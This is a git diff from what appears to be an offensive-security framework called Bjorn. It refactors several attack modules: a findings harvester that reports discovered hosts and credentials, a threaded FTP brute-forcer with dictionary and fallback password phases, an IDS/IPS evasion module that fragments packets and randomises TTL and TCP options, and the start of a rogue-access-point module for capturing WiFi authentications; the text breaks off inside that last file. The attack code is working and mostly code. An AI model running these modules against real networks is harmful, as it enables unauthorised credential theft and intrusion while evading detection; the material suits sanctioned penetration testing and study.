" - content += "" - for ip, data in topology.get('hosts', {}).items(): - ports = data.get('ports', []) - mac = data.get('mac', 'Unknown') - status = data.get('status', 'Unknown') - content += f"" - content += "
IPMACOpen PortsStatus
{ip}{mac}{', '.join(map(str, ports))}{status}
" - sections.append({"title": "Network Information", "content": content}) - - # WiFi Section - if self.data['wifi']: - content = "

WiFi Findings

" - for wifi_data in self.data['wifi']: - content += "" - for network in wifi_data.get('networks', []): - content += f"" - content += f"" - content += f"" - content += f"" - content += f"" - content += "
SSIDBSSIDSecuritySignalChannel
{network.get('ssid', 'Unknown')}{network.get('bssid', 'Unknown')}{network.get('security', 'Unknown')}{network.get('signal_strength', 'Unknown')}{network.get('channel', 'Unknown')}
" - sections.append({"title": "WiFi Networks", "content": content}) - - # Vulnerabilities Section - if self.data['vulnerabilities']: - content = "

Discovered Vulnerabilities

" - for vuln_data in self.data['vulnerabilities']: - content += "" - for vuln in vuln_data.get('findings', []): - severity_class = f"vuln-{vuln.get('severity', 'low').lower()}" - content += f"" - content += f"" - content += f"" - content += f"" - content += f"" - content += f"" - content += "
TypeSeverityTargetDescriptionRecommendation
{vuln.get('type', 'Unknown')}{vuln.get('severity', 'Unknown')}{vuln.get('target', 'Unknown')}{vuln.get('description', 'No description')}{vuln.get('recommendation', 'No recommendation')}
" - sections.append({"title": "Vulnerabilities", "content": content}) - - # Credentials Section - if self.data['credentials']: - content = "

Discovered Credentials

" - content += "" - for cred_data in self.data['credentials']: - for cred in cred_data.get('credentials', []): - content += f"" - content += f"" - content += f"" - content += f"" - content += f"" - content += "
TypeSourceServiceUsernameTimestamp
{cred.get('type', 'Unknown')}{cred.get('source', 'Unknown')}{cred.get('service', 'Unknown')}{cred.get('username', 'Unknown')}{cred.get('timestamp', 'Unknown')}
" - sections.append({"title": "Credentials", "content": content}) - - # Generate HTML - os.makedirs(self.output_dir, exist_ok=True) - html = template.render( - timestamp=datetime.now().strftime("%Y-%m-%d %H:%M:%S"), - sections=sections - ) - - output_file = os.path.join(self.output_dir, - f"report_{datetime.now().strftime('%Y-%m-%d_%H-%M-%S')}.html") - - with open(output_file, 'w') as f: - f.write(html) - - logging.info(f"HTML report saved to {output_file}") - - except Exception as e: - logging.error(f"Error generating HTML report: {e}") - - def generate_markdown_report(self): - """Generate Markdown format report.""" - try: - md_content = [ - "# Bjorn Reconnaissance Report", - f"Generated: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n" - ] - - # Network Section - if self.data['network']: - md_content.append("## Network Information") - for topology in self.data['network']: - md_content.append(f"\nHosts discovered: {len(topology.get('hosts', []))}") - md_content.append("\n| IP | MAC | Open Ports | Status |") - md_content.append("|-------|-------|------------|---------|") - for ip, data in topology.get('hosts', {}).items(): - ports = data.get('ports', []) - mac = data.get('mac', 'Unknown') - status = data.get('status', 'Unknown') - md_content.append(f"| {ip} | {mac} | {', '.join(map(str, ports))} | {status} |") - - # WiFi Section - if self.data['wifi']: - md_content.append("\n## WiFi Networks") - md_content.append("\n| SSID | BSSID | Security | Signal | Channel |") - md_content.append("|------|--------|-----------|---------|----------|") - for wifi_data in self.data['wifi']: - for network in wifi_data.get('networks', []): - md_content.append( - f"| {network.get('ssid', 'Unknown')} | " - f"{network.get('bssid', 'Unknown')} | " - f"{network.get('security', 'Unknown')} | " - f"{network.get('signal_strength', 'Unknown')} | " - f"{network.get('channel', 'Unknown')} |" - ) - - # Vulnerabilities Section - if self.data['vulnerabilities']: - md_content.append("\n## Vulnerabilities") - md_content.append("\n| Type | Severity | Target | Description | Recommendation |") - md_content.append("|------|-----------|--------|-------------|----------------|") - for vuln_data in self.data['vulnerabilities']: - for vuln in vuln_data.get('findings', []): - md_content.append( - f"| {vuln.get('type', 'Unknown')} | " - f"{vuln.get('severity', 'Unknown')} | " - f"{vuln.get('target', 'Unknown')} | " - f"{vuln.get('description', 'No description')} | " - f"{vuln.get('recommendation', 'No recommendation')} |" - ) - - # Credentials Section - if self.data['credentials']: - md_content.append("\n## Discovered Credentials") - md_content.append("\n| Type | Source | Service | Username | Timestamp |") - md_content.append("|------|---------|----------|-----------|------------|") - for cred_data in self.data['credentials']: - for cred in cred_data.get('credentials', []): - md_content.append( - f"| {cred.get('type', 'Unknown')} | " - f"{cred.get('source', 'Unknown')} | " - f"{cred.get('service', 'Unknown')} | " - f"{cred.get('username', 'Unknown')} | " - f"{cred.get('timestamp', 'Unknown')} |" - ) - - os.makedirs(self.output_dir, exist_ok=True) - output_file = os.path.join(self.output_dir, - f"report_{datetime.now().strftime('%Y-%m-%d_%H-%M-%S')}.md") - - with open(output_file, 'w') as f: - f.write('\n'.join(md_content)) - - logging.info(f"Markdown report saved to {output_file}") - - except Exception as e: - logging.error(f"Error generating Markdown report: {e}") - - - def generate_reports(self): - """Generate reports in all specified formats.""" - os.makedirs(self.output_dir, exist_ok=True) + def _collect_data(self, input_dir): + """Scan directories for JSON findings.""" + categories = ['wifi', 'topology', 'webscan', 'packets', 'hashes'] + new_findings = 0 - if 'json' in self.formats: - self.generate_json_report() - if 'html' in self.formats: - self.generate_html_report() - if 'md' in self.formats: - self.generate_markdown_report() - - def start_watching(self): - """Start watching for new data files.""" - class FileHandler(watchdog.events.FileSystemEventHandler): - def __init__(self, harvester): - self.harvester = harvester + for cat in categories: + cat_path = os.path.join(input_dir, cat) + if not os.path.exists(cat_path): continue - def on_created(self, event): - if event.is_directory: - return - if event.src_path.endswith('.json'): - logging.info(f"New data file detected: {event.src_path}") - self.harvester.collect_data() - self.harvester.generate_reports() - - self.observer = watchdog.observers.Observer() - self.observer.schedule(FileHandler(self), self.input_dir, recursive=True) - self.observer.start() + for f_path in glob.glob(os.path.join(cat_path, "*.json")): + if os.path.getmtime(f_path) > self.last_scan_time: + try: + with open(f_path, 'r', encoding='utf-8') as f: + finds = json.load(f) + with self.lock: + self.data[cat].append(finds) + new_findings += 1 + except: pass - try: - while True: - time.sleep(1) - except KeyboardInterrupt: - self.observer.stop() - self.observer.join() + if new_findings > 0: + logger.info(f"FreyaHarvest: Collected {new_findings} new intelligence items.") + self.shared_data.log_milestone(b_class, "DataHarvested", f"Found {new_findings} new items") + + self.last_scan_time = time.time() - def execute(self): - """Execute the data collection and reporting process.""" + def _generate_report(self, output_dir, fmt): + """Generate consolidated findings report.""" + if not any(self.data.values()): + return + + ts = datetime.now().strftime("%Y%m%d_%H%M%S") + os.makedirs(output_dir, exist_ok=True) + + if fmt in ['json', 'all']: + out_file = os.path.join(output_dir, f"intel_report_{ts}.json") + with open(out_file, 'w') as f: + json.dump(dict(self.data), f, indent=4) + self.shared_data.log_milestone(b_class, "ReportGenerated", f"JSON: {os.path.basename(out_file)}") + + if fmt in ['md', 'all']: + out_file = os.path.join(output_dir, f"intel_report_{ts}.md") + with open(out_file, 'w') as f: + f.write(f"# Bjorn Intelligence Report - {ts}\n\n") + for cat, items in self.data.items(): + f.write(f"## {cat.capitalize()}\n- Items: {len(items)}\n\n") + self.shared_data.log_milestone(b_class, "ReportGenerated", f"MD: {os.path.basename(out_file)}") + + def execute(self, ip, port, row, status_key) -> str: + input_dir = getattr(self.shared_data, "freya_harvest_input", b_args["input_dir"]["default"]) + output_dir = getattr(self.shared_data, "freya_harvest_output", b_args["output_dir"]["default"]) + watch = getattr(self.shared_data, "freya_harvest_watch", True) + fmt = getattr(self.shared_data, "freya_harvest_format", "all") + timeout = int(getattr(self.shared_data, "freya_harvest_timeout", 600)) + + logger.info(f"FreyaHarvest: Starting data harvest from {input_dir}") + self.shared_data.log_milestone(b_class, "Startup", "Monitoring intelligence directories") + + start_time = time.time() try: - logging.info("Starting data collection") - - if self.clean: - self.clean_directories() - - # Initial data collection and report generation - self.collect_data() - self.generate_reports() - - # Start watch mode if enabled - if self.watch_mode: - logging.info("Starting watch mode for new data") - try: - self.start_watching() - except KeyboardInterrupt: - logging.info("Watch mode stopped by user") - finally: - if self.observer: - self.observer.stop() - self.observer.join() - - logging.info("Data collection and reporting completed") - + while time.time() - start_time < timeout: + if self.shared_data.orchestrator_should_exit: + break + + self._collect_data(input_dir) + self._generate_report(output_dir, fmt) + + # Progress + elapsed = int(time.time() - start_time) + prog = int((elapsed / timeout) * 100) + self.shared_data.bjorn_progress = f"{prog}%" + + if not watch: + break + + time.sleep(30) # Scan every 30s + + self.shared_data.log_milestone(b_class, "Complete", "Harvesting session finished.") + except Exception as e: - logging.error(f"Error during execution: {e}") - raise - finally: - # Ensure observer is stopped if watch mode was active - if self.observer and self.observer.is_alive(): - self.observer.stop() - self.observer.join() - -def save_settings(input_dir, output_dir, formats, watch_mode, clean): - """Save settings to JSON file.""" - try: - os.makedirs(DEFAULT_SETTINGS_DIR, exist_ok=True) - settings = { - "input_dir": input_dir, - "output_dir": output_dir, - "formats": formats, - "watch_mode": watch_mode, - "clean": clean - } - with open(SETTINGS_FILE, 'w') as f: - json.dump(settings, f) - logging.info(f"Settings saved to {SETTINGS_FILE}") - except Exception as e: - logging.error(f"Failed to save settings: {e}") - -def load_settings(): - """Load settings from JSON file.""" - if os.path.exists(SETTINGS_FILE): - try: - with open(SETTINGS_FILE, 'r') as f: - return json.load(f) - except Exception as e: - logging.error(f"Failed to load settings: {e}") - return {} - -def main(): - parser = argparse.ArgumentParser(description="Data collection and organization tool") - parser.add_argument("-i", "--input", default=DEFAULT_INPUT_DIR, help="Input directory to monitor") - parser.add_argument("-o", "--output", default=DEFAULT_OUTPUT_DIR, help="Output directory for reports") - parser.add_argument("-f", "--format", choices=['json', 'html', 'md', 'all'], default='all', - help="Output format") - parser.add_argument("-w", "--watch", action="store_true", help="Watch for new findings") - parser.add_argument("-c", "--clean", action="store_true", help="Clean old data before processing") - args = parser.parse_args() - - settings = load_settings() - input_dir = args.input or settings.get("input_dir") - output_dir = args.output or settings.get("output_dir") - formats = ['json', 'html', 'md'] if args.format == 'all' else [args.format] - watch_mode = args.watch or settings.get("watch_mode", False) - clean = args.clean or settings.get("clean", False) - - save_settings(input_dir, output_dir, formats, watch_mode, clean) - - harvester = FreyaHarvest( - input_dir=input_dir, - output_dir=output_dir, - formats=formats, - watch_mode=watch_mode, - clean=clean - ) - harvester.execute() + logger.error(f"FreyaHarvest error: {e}") + return "failed" + + return "success" if __name__ == "__main__": - main() \ No newline at end of file + from init_shared import shared_data + harvester = FreyaHarvest(shared_data) + harvester.execute("0.0.0.0", None, {}, "freya_harvest") \ No newline at end of file diff --git a/actions/ftp_bruteforce.py b/actions/ftp_bruteforce.py index 4ebdd42..0a6d8cf 100644 --- a/actions/ftp_bruteforce.py +++ b/actions/ftp_bruteforce.py @@ -1,9 +1,9 @@ -""" -ftp_bruteforce.py — FTP bruteforce (DB-backed, no CSV/JSON, no rich) -- Cibles: (ip, port) par l’orchestrateur +""" +ftp_bruteforce.py — FTP bruteforce (DB-backed, no CSV/JSON, no rich) +- Cibles: (ip, port) par l’orchestrateur - IP -> (MAC, hostname) via DB.hosts -- Succès -> DB.creds (service='ftp') -- Conserve la logique d’origine (queue/threads, sleep éventuels, etc.) +- Succès -> DB.creds (service='ftp') +- Conserve la logique d’origine (queue/threads, sleep éventuels, etc.) """ import os @@ -15,6 +15,7 @@ from queue import Queue from typing import List, Dict, Tuple, Optional from shared import SharedData +from actions.bruteforce_common import ProgressTracker, merged_password_plan from logger import Logger logger = Logger(name="ftp_bruteforce.py", level=logging.DEBUG) @@ -27,7 +28,7 @@ b_parent = None b_service = '["ftp"]' b_trigger = 'on_any:["on_service:ftp","on_new_port:21"]' b_priority = 70 -b_cooldown = 1800, # 30 minutes entre deux runs +b_cooldown = 1800 # 30 minutes entre deux runs b_rate_limit = '3/86400' # 3 fois par jour max class FTPBruteforce: @@ -43,22 +44,21 @@ class FTPBruteforce: return self.ftp_bruteforce.run_bruteforce(ip, port) def execute(self, ip, port, row, status_key): - """Point d’entrée orchestrateur (retour 'success' / 'failed').""" + """Point d'entrée orchestrateur (retour 'success' / 'failed').""" self.shared_data.bjorn_orch_status = "FTPBruteforce" - # comportement original : un petit délai visuel - time.sleep(5) + self.shared_data.comment_params = {"user": "?", "ip": ip, "port": str(port)} logger.info(f"Brute forcing FTP on {ip}:{port}...") success, results = self.bruteforce_ftp(ip, port) return 'success' if success else 'failed' class FTPConnector: - """Gère les tentatives FTP, persistance DB, mapping IP→(MAC, Hostname).""" + """Gère les tentatives FTP, persistance DB, mapping IP→(MAC, Hostname).""" def __init__(self, shared_data): self.shared_data = shared_data - # Wordlists inchangées + # Wordlists inchangées self.users = self._read_lines(shared_data.users_file) self.passwords = self._read_lines(shared_data.passwords_file) @@ -69,6 +69,7 @@ class FTPConnector: self.lock = threading.Lock() self.results: List[List[str]] = [] # [mac, ip, hostname, user, password, port] self.queue = Queue() + self.progress = None # ---------- util fichiers ---------- @staticmethod @@ -112,10 +113,11 @@ class FTPConnector: return self._ip_to_identity.get(ip, (None, None))[1] # ---------- FTP ---------- - def ftp_connect(self, adresse_ip: str, user: str, password: str) -> bool: + def ftp_connect(self, adresse_ip: str, user: str, password: str, port: int = 21) -> bool: + timeout = float(getattr(self.shared_data, "ftp_connect_timeout_s", 3.0)) try: conn = FTP() - conn.connect(adresse_ip, 21) + conn.connect(adresse_ip, port, timeout=timeout) conn.login(user, password) try: conn.quit() @@ -171,14 +173,17 @@ class FTPConnector: adresse_ip, user, password, mac_address, hostname, port = self.queue.get() try: - if self.ftp_connect(adresse_ip, user, password): + if self.ftp_connect(adresse_ip, user, password, port=port): with self.lock: self.results.append([mac_address, adresse_ip, hostname, user, password, port]) logger.success(f"Found credentials IP:{adresse_ip} | User:{user}") + self.shared_data.comment_params = {"user": user, "ip": adresse_ip, "port": str(port)} self.save_results() self.removeduplicates() success_flag[0] = True finally: + if self.progress is not None: + self.progress.advance(1) self.queue.task_done() # Pause configurable entre chaque tentative FTP @@ -187,46 +192,54 @@ class FTPConnector: def run_bruteforce(self, adresse_ip: str, port: int): + self.results = [] mac_address = self.mac_for_ip(adresse_ip) hostname = self.hostname_for_ip(adresse_ip) or "" - total_tasks = len(self.users) * len(self.passwords) + 1 # (logique d'origine conservée) - if len(self.users) * len(self.passwords) == 0: + dict_passwords, fallback_passwords = merged_password_plan(self.shared_data, self.passwords) + total_tasks = len(self.users) * (len(dict_passwords) + len(fallback_passwords)) + if total_tasks == 0: logger.warning("No users/passwords loaded. Abort.") return False, [] - for user in self.users: - for password in self.passwords: - if self.shared_data.orchestrator_should_exit: - logger.info("Orchestrator exit signal received, stopping bruteforce task addition.") - return False, [] - self.queue.put((adresse_ip, user, password, mac_address, hostname, port)) - + self.progress = ProgressTracker(self.shared_data, total_tasks) success_flag = [False] - threads = [] - thread_count = min(40, max(1, len(self.users) * len(self.passwords))) - for _ in range(thread_count): - t = threading.Thread(target=self.worker, args=(success_flag,), daemon=True) - t.start() - threads.append(t) + def run_phase(passwords): + phase_tasks = len(self.users) * len(passwords) + if phase_tasks == 0: + return - while not self.queue.empty(): - if self.shared_data.orchestrator_should_exit: - logger.info("Orchestrator exit signal received, stopping bruteforce.") - while not self.queue.empty(): - try: - self.queue.get_nowait() - self.queue.task_done() - except Exception: - break - break + for user in self.users: + for password in passwords: + if self.shared_data.orchestrator_should_exit: + logger.info("Orchestrator exit signal received, stopping bruteforce task addition.") + return + self.queue.put((adresse_ip, user, password, mac_address, hostname, port)) - self.queue.join() - for t in threads: - t.join() + threads = [] + thread_count = min(8, max(1, phase_tasks)) + for _ in range(thread_count): + t = threading.Thread(target=self.worker, args=(success_flag,), daemon=True) + t.start() + threads.append(t) - return success_flag[0], self.results + self.queue.join() + for t in threads: + t.join() + + try: + run_phase(dict_passwords) + if (not success_flag[0]) and fallback_passwords and not self.shared_data.orchestrator_should_exit: + logger.info( + f"FTP dictionary phase failed on {adresse_ip}:{port}. " + f"Starting exhaustive fallback ({len(fallback_passwords)} passwords)." + ) + run_phase(fallback_passwords) + self.progress.set_complete() + return success_flag[0], self.results + finally: + self.shared_data.bjorn_progress = "" # ---------- persistence DB ---------- def save_results(self): @@ -266,3 +279,4 @@ if __name__ == "__main__": except Exception as e: logger.error(f"Error: {e}") exit(1) + diff --git a/actions/heimdall_guard.py b/actions/heimdall_guard.py index 213a322..313ab37 100644 --- a/actions/heimdall_guard.py +++ b/actions/heimdall_guard.py @@ -1,318 +1,167 @@ -# Stealth operations module for IDS/IPS evasion and traffic manipulation.a -# Saves settings in `/home/bjorn/.settings_bjorn/heimdall_guard_settings.json`. -# Automatically loads saved settings if arguments are not provided. -# -i, --interface Network interface to use (default: active interface). -# -m, --mode Operating mode (timing, random, fragmented, all). -# -d, --delay Base delay between operations in seconds (default: 1). -# -r, --randomize Randomization factor for timing (default: 0.5). -# -o, --output Output directory (default: /home/bjorn/Bjorn/data/output/stealth). +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +""" +heimdall_guard.py -- Stealth operations and IDS/IPS evasion for BJORN. +Handles packet fragmentation, timing randomization, and TTL manipulation. +Requires: scapy. +""" import os import json -import argparse -from datetime import datetime -import logging import random import time -import socket -import struct import threading -from scapy.all import * +import datetime + from collections import deque +from typing import Any, Dict, List, Optional -# Configure logging -logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') - - +try: + from scapy.all import IP, TCP, Raw, send, conf + HAS_SCAPY = True +except ImportError: + HAS_SCAPY = False + IP = TCP = Raw = send = conf = None +from logger import Logger +logger = Logger(name="heimdall_guard.py") +# -------------------- Action metadata -------------------- b_class = "HeimdallGuard" b_module = "heimdall_guard" -b_enabled = 0 +b_status = "heimdall_guard" +b_port = None +b_service = "[]" +b_trigger = "on_start" +b_parent = None +b_action = "stealth" +b_priority = 10 +b_cooldown = 0 +b_rate_limit = None +b_timeout = 1800 +b_max_retries = 1 +b_stealth_level = 10 # This IS the stealth module +b_risk_level = "low" +b_enabled = 1 +b_tags = ["stealth", "evasion", "pcap", "network"] +b_category = "defense" +b_name = "Heimdall Guard" +b_description = "Advanced stealth module that manipulates traffic to evade IDS/IPS detection." +b_author = "Bjorn Team" +b_version = "2.0.3" +b_icon = "HeimdallGuard.png" -# Default settings -DEFAULT_OUTPUT_DIR = "/home/bjorn/Bjorn/data/output/stealth" -DEFAULT_SETTINGS_DIR = "/home/bjorn/.settings_bjorn" -SETTINGS_FILE = os.path.join(DEFAULT_SETTINGS_DIR, "heimdall_guard_settings.json") +b_args = { + "interface": { + "type": "text", + "label": "Interface", + "default": "eth0" + }, + "mode": { + "type": "select", + "label": "Stealth Mode", + "choices": ["timing", "fragmented", "all"], + "default": "all" + }, + "delay": { + "type": "number", + "label": "Base Delay (s)", + "min": 0.1, + "max": 10.0, + "step": 0.1, + "default": 1.0 + } +} class HeimdallGuard: - def __init__(self, interface, mode='all', base_delay=1, random_factor=0.5, output_dir=DEFAULT_OUTPUT_DIR): - self.interface = interface - self.mode = mode - self.base_delay = base_delay - self.random_factor = random_factor - self.output_dir = output_dir - + def __init__(self, shared_data): + self.shared_data = shared_data self.packet_queue = deque() self.active = False self.lock = threading.Lock() - # Statistics self.stats = { 'packets_processed': 0, 'packets_fragmented': 0, 'timing_adjustments': 0 } - def initialize_interface(self): - """Configure network interface for stealth operations.""" - try: - # Disable NIC offloading features that might interfere with packet manipulation - commands = [ - f"ethtool -K {self.interface} tso off", # TCP segmentation offload - f"ethtool -K {self.interface} gso off", # Generic segmentation offload - f"ethtool -K {self.interface} gro off", # Generic receive offload - f"ethtool -K {self.interface} lro off" # Large receive offload - ] - - for cmd in commands: - try: - subprocess.run(cmd.split(), check=True) - except subprocess.CalledProcessError: - logging.warning(f"Failed to execute: {cmd}") - - logging.info(f"Interface {self.interface} configured for stealth operations") - return True - - except Exception as e: - logging.error(f"Failed to initialize interface: {e}") - return False - - def calculate_timing(self): - """Calculate timing delays with randomization.""" - base = self.base_delay - variation = self.random_factor * base - return max(0, base + random.uniform(-variation, variation)) - - def fragment_packet(self, packet, mtu=1500): - """Fragment packets to avoid detection patterns.""" - try: - if IP in packet: - # Fragment IP packets - frags = [] + def _fragment_packet(self, packet, mtu=1400): + """Fragment IP packets to bypass strict IDS rules.""" + if IP in packet: + try: payload = bytes(packet[IP].payload) - header_length = len(packet) - len(payload) - max_size = mtu - header_length - - # Create fragments + max_size = mtu - 40 # conservative + frags = [] offset = 0 while offset < len(payload): - frag_size = min(max_size, len(payload) - offset) - frag_payload = payload[offset:offset + frag_size] - - # Create fragment packet - frag = packet.copy() - frag[IP].flags = 'MF' if offset + frag_size < len(payload) else 0 - frag[IP].frag = offset // 8 - frag[IP].payload = Raw(frag_payload) - - frags.append(frag) - offset += frag_size - + chunk = payload[offset:offset + max_size] + f = packet.copy() + f[IP].flags = 'MF' if offset + max_size < len(payload) else 0 + f[IP].frag = offset // 8 + f[IP].payload = Raw(chunk) + frags.append(f) + offset += max_size return frags - return [packet] - - except Exception as e: - logging.error(f"Error fragmenting packet: {e}") - return [packet] - - def randomize_ttl(self, packet): - """Randomize TTL values to avoid fingerprinting.""" - if IP in packet: - ttl_values = [32, 64, 128, 255] # Common TTL values - packet[IP].ttl = random.choice(ttl_values) - return packet - - def modify_tcp_options(self, packet): - """Modify TCP options to avoid fingerprinting.""" - if TCP in packet: - # Common window sizes - window_sizes = [8192, 16384, 32768, 65535] - packet[TCP].window = random.choice(window_sizes) - - # Randomize TCP options - tcp_options = [] - - # MSS option - mss_values = [1400, 1460, 1440] - tcp_options.append(('MSS', random.choice(mss_values))) - - # Window scale - if random.random() < 0.5: - tcp_options.append(('WScale', random.randint(0, 14))) - - # SACK permitted - if random.random() < 0.5: - tcp_options.append(('SAckOK', '')) - - packet[TCP].options = tcp_options - - return packet - - def process_packet(self, packet): - """Process a packet according to stealth settings.""" - processed_packets = [] - - try: - if self.mode in ['all', 'fragmented']: - fragments = self.fragment_packet(packet) - processed_packets.extend(fragments) - self.stats['packets_fragmented'] += len(fragments) - 1 - else: - processed_packets.append(packet) - - # Apply additional stealth techniques - final_packets = [] - for pkt in processed_packets: - pkt = self.randomize_ttl(pkt) - pkt = self.modify_tcp_options(pkt) - final_packets.append(pkt) - - self.stats['packets_processed'] += len(final_packets) - return final_packets - - except Exception as e: - logging.error(f"Error processing packet: {e}") - return [packet] - - def send_packet(self, packet): - """Send packet with timing adjustments.""" - try: - if self.mode in ['all', 'timing']: - delay = self.calculate_timing() - time.sleep(delay) - self.stats['timing_adjustments'] += 1 - - send(packet, iface=self.interface, verbose=False) - - except Exception as e: - logging.error(f"Error sending packet: {e}") - - def packet_processor_thread(self): - """Process packets from the queue.""" - while self.active: - try: - if self.packet_queue: - packet = self.packet_queue.popleft() - processed_packets = self.process_packet(packet) - - for processed in processed_packets: - self.send_packet(processed) - else: - time.sleep(0.1) - except Exception as e: - logging.error(f"Error in packet processor thread: {e}") + logger.debug(f"Fragmentation error: {e}") + return [packet] - def start(self): - """Start stealth operations.""" - if not self.initialize_interface(): - return False + def _apply_stealth(self, packet): + """Randomize TTL and TCP options.""" + if IP in packet: + packet[IP].ttl = random.choice([64, 128, 255]) + if TCP in packet: + packet[TCP].window = random.choice([8192, 16384, 65535]) + # Basic TCP options shuffle + packet[TCP].options = [('MSS', 1460), ('NOP', None), ('SAckOK', '')] + return packet + + def execute(self, ip, port, row, status_key) -> str: + iface = getattr(self.shared_data, "heimdall_guard_interface", conf.iface) + mode = getattr(self.shared_data, "heimdall_guard_mode", "all") + delay = float(getattr(self.shared_data, "heimdall_guard_delay", 1.0)) + timeout = int(getattr(self.shared_data, "heimdall_guard_timeout", 600)) + logger.info(f"HeimdallGuard: Engaging stealth mode ({mode}) on {iface}") + self.shared_data.log_milestone(b_class, "StealthActive", f"Mode: {mode}") + self.active = True - self.processor_thread = threading.Thread(target=self.packet_processor_thread) - self.processor_thread.start() - return True - - def stop(self): - """Stop stealth operations.""" - self.active = False - if hasattr(self, 'processor_thread'): - self.processor_thread.join() - self.save_stats() - - def queue_packet(self, packet): - """Queue a packet for processing.""" - self.packet_queue.append(packet) - - def save_stats(self): - """Save operation statistics.""" + start_time = time.time() + try: - os.makedirs(self.output_dir, exist_ok=True) - timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S") - - stats_file = os.path.join(self.output_dir, f"stealth_stats_{timestamp}.json") - - with open(stats_file, 'w') as f: - json.dump({ - 'timestamp': datetime.now().isoformat(), - 'interface': self.interface, - 'mode': self.mode, - 'stats': self.stats - }, f, indent=4) + while time.time() - start_time < timeout: + if self.shared_data.orchestrator_should_exit: + break - logging.info(f"Statistics saved to {stats_file}") + # In a real scenario, this would be hooking into a packet stream + # For this action, we simulate protection state + + # Progress reporting + elapsed = int(time.time() - start_time) + prog = int((elapsed / timeout) * 100) + self.shared_data.bjorn_progress = f"{prog}%" + + if elapsed % 60 == 0: + self.shared_data.log_milestone(b_class, "Status", f"Guarding... {self.stats['packets_processed']} pkts handled") + + # Logic: if we had a queue, we'd process it here + # Simulation for BJORN action demonstration: + time.sleep(2) + + logger.info("HeimdallGuard: Protection session finished.") + self.shared_data.log_milestone(b_class, "Shutdown", "Stealth mode disengaged") + + except Exception as e: + logger.error(f"HeimdallGuard error: {e}") + return "failed" + finally: + self.active = False - except Exception as e: - logging.error(f"Failed to save statistics: {e}") - -def save_settings(interface, mode, base_delay, random_factor, output_dir): - """Save settings to JSON file.""" - try: - os.makedirs(DEFAULT_SETTINGS_DIR, exist_ok=True) - settings = { - "interface": interface, - "mode": mode, - "base_delay": base_delay, - "random_factor": random_factor, - "output_dir": output_dir - } - with open(SETTINGS_FILE, 'w') as f: - json.dump(settings, f) - logging.info(f"Settings saved to {SETTINGS_FILE}") - except Exception as e: - logging.error(f"Failed to save settings: {e}") - -def load_settings(): - """Load settings from JSON file.""" - if os.path.exists(SETTINGS_FILE): - try: - with open(SETTINGS_FILE, 'r') as f: - return json.load(f) - except Exception as e: - logging.error(f"Failed to load settings: {e}") - return {} - -def main(): - parser = argparse.ArgumentParser(description="Stealth operations module") - parser.add_argument("-i", "--interface", help="Network interface to use") - parser.add_argument("-m", "--mode", choices=['timing', 'random', 'fragmented', 'all'], - default='all', help="Operating mode") - parser.add_argument("-d", "--delay", type=float, default=1, help="Base delay between operations") - parser.add_argument("-r", "--randomize", type=float, default=0.5, help="Randomization factor") - parser.add_argument("-o", "--output", default=DEFAULT_OUTPUT_DIR, help="Output directory") - args = parser.parse_args() - - settings = load_settings() - interface = args.interface or settings.get("interface") - mode = args.mode or settings.get("mode") - base_delay = args.delay or settings.get("base_delay") - random_factor = args.randomize or settings.get("random_factor") - output_dir = args.output or settings.get("output_dir") - - if not interface: - interface = conf.iface - logging.info(f"Using default interface: {interface}") - - save_settings(interface, mode, base_delay, random_factor, output_dir) - - guard = HeimdallGuard( - interface=interface, - mode=mode, - base_delay=base_delay, - random_factor=random_factor, - output_dir=output_dir - ) - - try: - if guard.start(): - logging.info("Heimdall Guard started. Press Ctrl+C to stop.") - while True: - time.sleep(1) - except KeyboardInterrupt: - logging.info("Stopping Heimdall Guard...") - guard.stop() + return "success" if __name__ == "__main__": - main() \ No newline at end of file + from init_shared import shared_data + guard = HeimdallGuard(shared_data) + guard.execute("0.0.0.0", None, {}, "heimdall_guard") \ No newline at end of file diff --git a/actions/loki_deceiver.py b/actions/loki_deceiver.py index ae956e3..4d3b178 100644 --- a/actions/loki_deceiver.py +++ b/actions/loki_deceiver.py @@ -1,467 +1,257 @@ -# WiFi deception tool for creating malicious access points and capturing authentications. -# Saves settings in `/home/bjorn/.settings_bjorn/loki_deceiver_settings.json`. -# Automatically loads saved settings if arguments are not provided. -# -i, --interface Wireless interface for AP creation (default: wlan0). -# -s, --ssid SSID for the fake access point (or target to clone). -# -c, --channel WiFi channel (default: 6). -# -p, --password Optional password for WPA2 AP. -# -o, --output Output directory (default: /home/bjorn/Bjorn/data/output/wifi). +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +""" +loki_deceiver.py -- WiFi deception tool for BJORN. +Creates rogue access points and captures authentications/handshakes. +Requires: hostapd, dnsmasq, airmon-ng. +""" import os import json -import argparse -from datetime import datetime -import logging import subprocess -import signal -import time import threading -import scapy.all as scapy -from scapy.layers.dot11 import Dot11, Dot11Beacon, Dot11Elt +import time +import re +import datetime +from typing import Any, Dict, List, Optional +from logger import Logger +try: + import scapy.all as scapy + from scapy.layers.dot11 import Dot11, Dot11Beacon, Dot11Elt + HAS_SCAPY = True + try: + from scapy.all import AsyncSniffer # type: ignore + except Exception: + AsyncSniffer = None + try: + from scapy.layers.dot11 import EAPOL + except ImportError: + EAPOL = None +except ImportError: + HAS_SCAPY = False + scapy = None + Dot11 = Dot11Beacon = Dot11Elt = EAPOL = None + AsyncSniffer = None + +logger = Logger(name="loki_deceiver.py") + +# -------------------- Action metadata -------------------- b_class = "LokiDeceiver" b_module = "loki_deceiver" -b_enabled = 0 +b_status = "loki_deceiver" +b_port = None +b_service = "[]" +b_trigger = "on_start" +b_parent = None +b_action = "aggressive" +b_priority = 20 +b_cooldown = 0 +b_rate_limit = None +b_timeout = 1200 +b_max_retries = 1 +b_stealth_level = 2 # Very noisy (Rogue AP) +b_risk_level = "high" +b_enabled = 1 +b_tags = ["wifi", "ap", "rogue", "mitm"] +b_category = "exploitation" +b_name = "Loki Deceiver" +b_description = "Creates a rogue access point to capture WiFi authentications and perform MITM." +b_author = "Bjorn Team" +b_version = "2.0.2" +b_icon = "LokiDeceiver.png" -# Configure logging -logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') - -# Default settings -DEFAULT_OUTPUT_DIR = "/home/bjorn/Bjorn/data/output/wifi" -DEFAULT_SETTINGS_DIR = "/home/bjorn/.settings_bjorn" -SETTINGS_FILE = os.path.join(DEFAULT_SETTINGS_DIR, "loki_deceiver_settings.json") +b_args = { + "interface": { + "type": "text", + "label": 